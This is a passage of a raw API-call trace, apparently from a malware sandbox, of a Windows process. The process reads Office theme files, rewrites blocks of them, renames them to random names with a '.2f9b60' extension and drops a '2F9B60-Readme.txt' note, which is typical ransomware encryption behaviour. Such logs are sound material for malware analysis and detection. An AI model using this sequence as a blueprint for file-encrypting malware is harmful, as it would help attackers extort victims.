(lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx")) returned 0x20 [0111.248] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx", dwFileAttributes=0x20) returned 1 [0111.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x160c [0111.249] GetFileSizeEx (in: hFile=0x160c, lpFileSize=0x3393fbc0 | out: lpFileSize=0x3393fbc0*=782121) returned 1 [0111.249] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0xbef25, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.249] ReadFile (in: hFile=0x160c, lpBuffer=0x3393fb40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3393fb88, lpOverlapped=0x0 | out: lpBuffer=0x3393fb40*, lpNumberOfBytesRead=0x3393fb88*=0x4, lpOverlapped=0x0) returned 1 [0111.251] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.251] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a77f0 [0111.251] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7c10 [0111.251] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7bb0 [0111.251] NtQuerySystemTime (in: CurrentTime=0x3393fa80 | out: CurrentTime=0x3393fa80*=132462177167266000) returned 0x0 [0111.251] RtlRandomEx (in: Seed=0x3393fa70 | out: Seed=0x3393fa70) returned 0x135e1a7c [0111.251] RtlRandomEx (in: Seed=0x3393fa70 | out: Seed=0x3393fa70) returned 0x6c963182 [0111.251] RtlRandomEx (in: Seed=0x3393fa70 | out: Seed=0x3393fa70) returned 0x4396e359 [0111.251] RtlRandomEx (in: Seed=0x3393fa70 | out: Seed=0x3393fa70) returned 0x771f47cc [0111.251] RtlRandomEx (in: Seed=0x3393fa70 | out: Seed=0x3393fa70) returned 0x3f4507f8 [0111.251] RtlRandomEx (in: Seed=0x3393fa70 | out: Seed=0x3393fa70) returned 0x7c7fd62 [0111.251] RtlRandomEx (in: Seed=0x3393fa70 | out: Seed=0x3393fa70) returned 0x6d1a1d08 [0111.251] RtlRandomEx (in: Seed=0x3393fa70 | out: Seed=0x3393fa70) returned 0x54028136 [0111.251] RtlRandomEx (in: Seed=0x3393fa70 | out: Seed=0x3393fa70) returned 0x4e4d4a02 [0111.251] RtlRandomEx (in: Seed=0x3393fa70 | out: Seed=0x3393fa70) returned 0x47089594 [0111.251] RtlRandomEx (in: Seed=0x3393fa70 | out: Seed=0x3393fa70) returned 0x279f2b5 [0111.251] RtlRandomEx (in: Seed=0x3393fa70 | out: Seed=0x3393fa70) returned 0x447017c7 [0111.251] RtlRandomEx (in: Seed=0x3393fa70 | out: Seed=0x3393fa70) returned 0x49612021 [0111.251] RtlRandomEx (in: Seed=0x3393fa70 | out: Seed=0x3393fa70) returned 0x1709049a [0111.251] RtlRandomEx (in: Seed=0x3393fa70 | out: Seed=0x3393fa70) returned 0x7e18f17a [0111.251] RtlRandomEx (in: Seed=0x3393fa70 | out: Seed=0x3393fa70) returned 0x185cdcb0 [0111.251] RtlRandomEx (in: Seed=0x3393fa70 | out: Seed=0x3393fa70) returned 0x1cd30d98 [0111.251] RtlRandomEx (in: Seed=0x3393fa70 | out: Seed=0x3393fa70) returned 0x3c05c5b [0111.251] RtlRandomEx (in: Seed=0x3393fa70 | out: Seed=0x3393fa70) returned 0x72d0fbdd [0111.251] RtlRandomEx (in: Seed=0x3393fa70 | out: Seed=0x3393fa70) returned 0x1ca54bcb [0111.251] RtlRandomEx (in: Seed=0x3393fa70 | out: Seed=0x3393fa70) returned 0x4d9fed7e [0111.251] RtlRandomEx (in: Seed=0x3393fa70 | out: Seed=0x3393fa70) returned 0x57f2042a [0111.251] RtlRandomEx (in: Seed=0x3393fa70 | out: Seed=0x3393fa70) returned 0x26c9825f [0111.252] RtlRandomEx (in: Seed=0x3393fa70 | out: Seed=0x3393fa70) returned 0x558752f9 [0111.252] RtlRandomEx (in: Seed=0x3393fa70 | out: Seed=0x3393fa70) returned 0x18b11ef1 [0111.252] RtlRandomEx (in: Seed=0x3393fa70 | out: Seed=0x3393fa70) returned 0x7e90cb94 [0111.252] RtlRandomEx (in: Seed=0x3393fa70 | out: Seed=0x3393fa70) returned 0x45171f0f [0111.252] RtlRandomEx (in: Seed=0x3393fa70 | out: Seed=0x3393fa70) returned 0x566f06d5 [0111.252] RtlRandomEx (in: Seed=0x3393fa70 | out: Seed=0x3393fa70) returned 0x66dd53ff [0111.252] RtlRandomEx (in: Seed=0x3393fa70 | out: Seed=0x3393fa70) returned 0x6fdcda42 [0111.252] RtlRandomEx (in: Seed=0x3393fa70 | out: Seed=0x3393fa70) returned 0x21b8ac72 [0111.252] RtlRandomEx (in: Seed=0x3393fa70 | out: Seed=0x3393fa70) returned 0x2769d71e [0111.262] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.262] ReadFile (in: hFile=0x160c, lpBuffer=0x41e5f0f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3393fae0, lpOverlapped=0x0 | out: lpBuffer=0x41e5f0f0*, lpNumberOfBytesRead=0x3393fae0*=0x3c00, lpOverlapped=0x0) returned 1 [0111.265] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.265] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.265] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0111.265] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a77f0 [0111.265] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a77f0) returned 1 [0111.265] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e80d80 [0111.266] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a77f0 [0111.266] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7bb0 [0111.266] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7bb0) returned 1 [0111.266] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0111.266] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.266] WriteFile (in: hFile=0x160c, lpBuffer=0x41e80d80*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3393fae0, lpOverlapped=0x0 | out: lpBuffer=0x41e80d80*, lpNumberOfBytesWritten=0x3393fae0*=0x3c00, lpOverlapped=0x0) returned 1 [0111.273] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e80d80) returned 1 [0111.274] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x61800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.274] ReadFile (in: hFile=0x160c, lpBuffer=0x41e5f0f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3393fae0, lpOverlapped=0x0 | out: lpBuffer=0x41e5f0f0*, lpNumberOfBytesRead=0x3393fae0*=0x3c00, lpOverlapped=0x0) returned 1 [0111.289] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x61800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.289] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.290] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0111.290] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7bb0 [0111.290] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7bb0) returned 1 [0111.290] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e885a0 [0111.290] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7bb0 [0111.290] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7c40 [0111.290] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7c40) returned 1 [0111.290] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0111.291] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.291] WriteFile (in: hFile=0x160c, lpBuffer=0x41e885a0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3393fae0, lpOverlapped=0x0 | out: lpBuffer=0x41e885a0*, lpNumberOfBytesWritten=0x3393fae0*=0x3c00, lpOverlapped=0x0) returned 1 [0111.294] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e885a0) returned 1 [0111.294] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0xbb329, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.294] ReadFile (in: hFile=0x160c, lpBuffer=0x41e5f0f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3393fae0, lpOverlapped=0x0 | out: lpBuffer=0x41e5f0f0*, lpNumberOfBytesRead=0x3393fae0*=0x3c00, lpOverlapped=0x0) returned 1 [0111.295] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0xbb329, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.295] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.295] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0111.295] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7d30 [0111.295] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7d30) returned 1 [0111.295] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e885a0 [0111.295] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7d30 [0111.295] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7670 [0111.295] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7670) returned 1 [0111.295] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0111.295] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.295] WriteFile (in: hFile=0x160c, lpBuffer=0x41e885a0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3393fae0, lpOverlapped=0x0 | out: lpBuffer=0x41e885a0*, lpNumberOfBytesWritten=0x3393fae0*=0x3c00, lpOverlapped=0x0) returned 1 [0111.298] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e885a0) returned 1 [0111.298] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ced9860 [0111.299] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0111.299] WriteFile (in: hFile=0x160c, lpBuffer=0x133ce0*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0x3393fb90, lpOverlapped=0x0 | out: lpBuffer=0x133ce0*, lpNumberOfBytesWritten=0x3393fb90*=0x14a, lpOverlapped=0x0) returned 1 [0111.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0111.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7d60 [0111.309] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7d60) returned 1 [0111.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0111.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7d60 [0111.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7c70 [0111.310] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7c70) returned 1 [0111.310] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0111.310] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f070 [0111.310] sprintf (in: _Dest=0x1cd9f070, _Format="%c%c" | out: _Dest="b4") returned 2 [0111.310] sprintf (in: _Dest=0x1cd9f072, _Format="%c%c" | out: _Dest="89") returned 2 [0111.310] sprintf (in: _Dest=0x1cd9f074, _Format="%c%c" | out: _Dest="6c") returned 2 [0111.310] sprintf (in: _Dest=0x1cd9f076, _Format="%c%c" | out: _Dest="61") returned 2 [0111.310] sprintf (in: _Dest=0x1cd9f078, _Format="%c%c" | out: _Dest="a3") returned 2 [0111.310] sprintf (in: _Dest=0x1cd9f07a, _Format="%c%c" | out: _Dest="3a") returned 2 [0111.310] sprintf (in: _Dest=0x1cd9f07c, _Format="%c%c" | out: _Dest="76") returned 2 [0111.310] sprintf (in: _Dest=0x1cd9f07e, _Format="%c%c" | out: _Dest="a3") returned 2 [0111.310] sprintf (in: _Dest=0x1cd9f080, _Format="%c%c" | out: _Dest="fc") returned 2 [0111.310] sprintf (in: _Dest=0x1cd9f082, _Format="%c%c" | out: _Dest="e1") returned 2 [0111.310] sprintf (in: _Dest=0x1cd9f084, _Format="%c%c" | out: _Dest="ae") returned 2 [0111.310] sprintf (in: _Dest=0x1cd9f086, _Format="%c%c" | out: _Dest="fd") returned 2 [0111.311] sprintf (in: _Dest=0x1cd9f088, _Format="%c%c" | out: _Dest="f8") returned 2 [0111.311] sprintf (in: _Dest=0x1cd9f08a, _Format="%c%c" | out: _Dest="4e") returned 2 [0111.311] sprintf (in: _Dest=0x1cd9f08c, _Format="%c%c" | out: _Dest="30") returned 2 [0111.311] sprintf (in: _Dest=0x1cd9f08e, _Format="%c%c" | out: _Dest="f6") returned 2 [0111.311] sprintf (in: _Dest=0x1cd9f090, _Format="%c%c" | out: _Dest="3b") returned 2 [0111.311] sprintf (in: _Dest=0x1cd9f092, _Format="%c%c" | out: _Dest="5f") returned 2 [0111.311] sprintf (in: _Dest=0x1cd9f094, _Format="%c%c" | out: _Dest="b0") returned 2 [0111.311] sprintf (in: _Dest=0x1cd9f096, _Format="%c%c" | out: _Dest="3a") returned 2 [0111.311] sprintf (in: _Dest=0x1cd9f098, _Format="%c%c" | out: _Dest="b6") returned 2 [0111.311] sprintf (in: _Dest=0x1cd9f09a, _Format="%c%c" | out: _Dest="25") returned 2 [0111.311] sprintf (in: _Dest=0x1cd9f09c, _Format="%c%c" | out: _Dest="f1") returned 2 [0111.311] sprintf (in: _Dest=0x1cd9f09e, _Format="%c%c" | out: _Dest="a2") returned 2 [0111.311] RtlInitAnsiString (in: DestinationString=0x3393fc08, SourceString="b4896c61a33a76a3fce1aefdf84e30f63b5fb03ab625f1a2" | out: DestinationString="b4896c61a33a76a3fce1aefdf84e30f63b5fb03ab625f1a2") [0111.311] RtlAnsiStringToUnicodeString (in: DestinationString=0x3393fbd8, SourceString="b4896c61a33a76a3fce1aefdf84e30f63b5fb03ab625f1a2", AllocateDestinationString=1 | out: DestinationString="b4896c61a33a76a3fce1aefdf84e30f63b5fb03ab625f1a2") returned 0x0 [0111.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9400 [0111.311] wcscat (in: _Dest=0x20279a30, _Source="b4896c61a33a" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\b4896c61a33a") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\b4896c61a33a" [0111.312] wcscat (in: _Dest=0x20279a30, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\b4896c61a33a.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\b4896c61a33a.2f9b60" [0111.312] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\b4896c61a33a.2f9b60", NtPathName=0x3393fbb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\b4896c61a33a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0111.312] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x1b776af0 [0111.312] NtSetInformationFile (FileHandle=0x160c, IoStatusBlock=0x3393fc50, FileInformation=0x1b776af0, Length=0xcc, FileInformationClass=0xa) returned 0x0 [0111.314] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776af0) returned 1 [0111.314] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0111.314] NtQueryInformationFile (in: FileHandle=0x160c, IoStatusBlock=0x3393fc18, FileInformation=0x3393fc28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3393fc18, FileInformation=0x3393fc28) returned 0x0 [0111.314] NtSetInformationFile (FileHandle=0x160c, IoStatusBlock=0x3393fc18, FileInformation=0x3393fc28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0111.316] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0111.316] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9400) returned 1 [0111.316] FlushFileBuffers (hFile=0x160c) returned 1 [0111.320] CloseHandle (hObject=0x160c) returned 1 [0111.342] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279a30 [0111.342] wcscpy (in: _Dest=0x20279a30, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0111.342] wcscat (in: _Dest=0x20279a30, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" [0111.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\2f9b60-readme.txt")) returned 0x20 [0111.343] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0111.343] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65810) returned 1 Thread: id = 1074 os_tid = 0x178c [0111.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx")) returned 0x20 [0111.270] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx", dwFileAttributes=0x20) returned 1 [0111.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe04 [0111.271] GetFileSizeEx (in: hFile=0xe04, lpFileSize=0x33d6fdc0 | out: lpFileSize=0x33d6fdc0*=21423) returned 1 [0111.271] SetFilePointerEx (in: hFile=0xe04, liDistanceToMove=0x53ab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.271] ReadFile (in: hFile=0xe04, lpBuffer=0x33d6fd40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x33d6fd88, lpOverlapped=0x0 | out: lpBuffer=0x33d6fd40*, lpNumberOfBytesRead=0x33d6fd88*=0x4, lpOverlapped=0x0) returned 1 [0111.276] SetFilePointerEx (in: hFile=0xe04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.276] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7bb0 [0111.276] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a75b0 [0111.276] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7c40 [0111.276] NtQuerySystemTime (in: CurrentTime=0x33d6fc80 | out: CurrentTime=0x33d6fc80*=132462177167578000) returned 0x0 [0111.276] RtlRandomEx (in: Seed=0x33d6fc70 | out: Seed=0x33d6fc70) returned 0x6c518cb7 [0111.276] RtlRandomEx (in: Seed=0x33d6fc70 | out: Seed=0x33d6fc70) returned 0x28610030 [0111.276] RtlRandomEx (in: Seed=0x33d6fc70 | out: Seed=0x33d6fc70) returned 0xac14cdd [0111.277] RtlRandomEx (in: Seed=0x33d6fc70 | out: Seed=0x33d6fc70) returned 0x438bd2ce [0111.277] RtlRandomEx (in: Seed=0x33d6fc70 | out: Seed=0x33d6fc70) returned 0x52d05803 [0111.277] RtlRandomEx (in: Seed=0x33d6fc70 | out: Seed=0x33d6fc70) returned 0x24d278c4 [0111.277] RtlRandomEx (in: Seed=0x33d6fc70 | out: Seed=0x33d6fc70) returned 0xd5eefc1 [0111.277] RtlRandomEx (in: Seed=0x33d6fc70 | out: Seed=0x33d6fc70) returned 0x61e0a628 [0111.277] RtlRandomEx (in: Seed=0x33d6fc70 | out: Seed=0x33d6fc70) returned 0x532b8d28 [0111.277] RtlRandomEx (in: Seed=0x33d6fc70 | out: Seed=0x33d6fc70) returned 0xe8bfbf0 [0111.277] RtlRandomEx (in: Seed=0x33d6fc70 | out: Seed=0x33d6fc70) returned 0x1ac44122 [0111.277] RtlRandomEx (in: Seed=0x33d6fc70 | out: Seed=0x33d6fc70) returned 0x2278a710 [0111.277] RtlRandomEx (in: Seed=0x33d6fc70 | out: Seed=0x33d6fc70) returned 0x19d1af4a [0111.277] RtlRandomEx (in: Seed=0x33d6fc70 | out: Seed=0x33d6fc70) returned 0x747650e3 [0111.277] RtlRandomEx (in: Seed=0x33d6fc70 | out: Seed=0x33d6fc70) returned 0x4f6a40bc [0111.277] RtlRandomEx (in: Seed=0x33d6fc70 | out: Seed=0x33d6fc70) returned 0x2a704db0 [0111.277] RtlRandomEx (in: Seed=0x33d6fc70 | out: Seed=0x33d6fc70) returned 0x3361cd69 [0111.277] RtlRandomEx (in: Seed=0x33d6fc70 | out: Seed=0x33d6fc70) returned 0x411702f9 [0111.277] RtlRandomEx (in: Seed=0x33d6fc70 | out: Seed=0x33d6fc70) returned 0x6d4e4a29 [0111.277] RtlRandomEx (in: Seed=0x33d6fc70 | out: Seed=0x33d6fc70) returned 0x64cfffba [0111.277] RtlRandomEx (in: Seed=0x33d6fc70 | out: Seed=0x33d6fc70) returned 0x47b2ea65 [0111.277] RtlRandomEx (in: Seed=0x33d6fc70 | out: Seed=0x33d6fc70) returned 0x753031f3 [0111.277] RtlRandomEx (in: Seed=0x33d6fc70 | out: Seed=0x33d6fc70) returned 0x4a3d2bda [0111.277] RtlRandomEx (in: Seed=0x33d6fc70 | out: Seed=0x33d6fc70) returned 0x3195defe [0111.277] RtlRandomEx (in: Seed=0x33d6fc70 | out: Seed=0x33d6fc70) returned 0x268ad2e2 [0111.277] RtlRandomEx (in: Seed=0x33d6fc70 | out: Seed=0x33d6fc70) returned 0x3e70ac85 [0111.277] RtlRandomEx (in: Seed=0x33d6fc70 | out: Seed=0x33d6fc70) returned 0x3e689838 [0111.277] RtlRandomEx (in: Seed=0x33d6fc70 | out: Seed=0x33d6fc70) returned 0x9257707 [0111.277] RtlRandomEx (in: Seed=0x33d6fc70 | out: Seed=0x33d6fc70) returned 0x61ef4fd1 [0111.277] RtlRandomEx (in: Seed=0x33d6fc70 | out: Seed=0x33d6fc70) returned 0x45d4d510 [0111.277] RtlRandomEx (in: Seed=0x33d6fc70 | out: Seed=0x33d6fc70) returned 0x20b37493 [0111.277] RtlRandomEx (in: Seed=0x33d6fc70 | out: Seed=0x33d6fc70) returned 0x208669a6 [0111.288] SetFilePointerEx (in: hFile=0xe04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.288] ReadFile (in: hFile=0xe04, lpBuffer=0x41e80d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x33d6fce0, lpOverlapped=0x0 | out: lpBuffer=0x41e80d80*, lpNumberOfBytesRead=0x33d6fce0*=0x3c00, lpOverlapped=0x0) returned 1 [0111.291] SetFilePointerEx (in: hFile=0xe04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.291] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.291] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0111.291] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7c40 [0111.292] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7c40) returned 1 [0111.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e8c1b0 [0111.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7c40 [0111.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7d30 [0111.292] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7d30) returned 1 [0111.292] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0111.292] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.292] WriteFile (in: hFile=0xe04, lpBuffer=0x41e8c1b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x33d6fce0, lpOverlapped=0x0 | out: lpBuffer=0x41e8c1b0*, lpNumberOfBytesWritten=0x33d6fce0*=0x3c00, lpOverlapped=0x0) returned 1 [0111.297] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e8c1b0) returned 1 [0111.297] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e80d80) returned 1 [0111.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cd9f070 [0111.298] SetFilePointerEx (in: hFile=0xe04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0111.298] WriteFile (in: hFile=0xe04, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x33d6fd90, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x33d6fd90*=0x112, lpOverlapped=0x0) returned 1 [0111.300] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.301] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0111.301] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7be0 [0111.301] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7be0) returned 1 [0111.301] 